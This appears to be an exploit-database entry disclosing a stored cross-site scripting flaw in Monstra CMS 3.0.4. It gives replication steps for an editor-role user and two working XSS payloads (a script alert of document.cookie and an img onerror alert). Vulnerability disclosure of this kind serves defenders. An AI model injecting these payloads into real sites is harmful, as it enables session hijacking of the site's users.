Exploits / Vulnerability Discovered : 2018-04-23 |
Type : webapps |
Platform : php
This exploit / vulnerability Monstra cms 3.0.4 persitent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!
#Description:
#Monstra CMS 3.0.4 has a stored XSS vulnerability when an attacker has access to the editor role, and enters the payload
#in the content section of a new page in the blog catalog.
#Steps to replicate:
#1. log into the system as an editor role
#2. creat a new page in the blog catalog
#3. navigate to content section
#4. enter payload: <script>alert(document.cookie)</script>
#5. visit http://<your_site>/monstra/blog/<page_name>.php, you will triage JavaScript execution
#Exploit Code:
<script>alert(document.cookie)</script>
or
<img src=1 onerror=alert(/xss/) >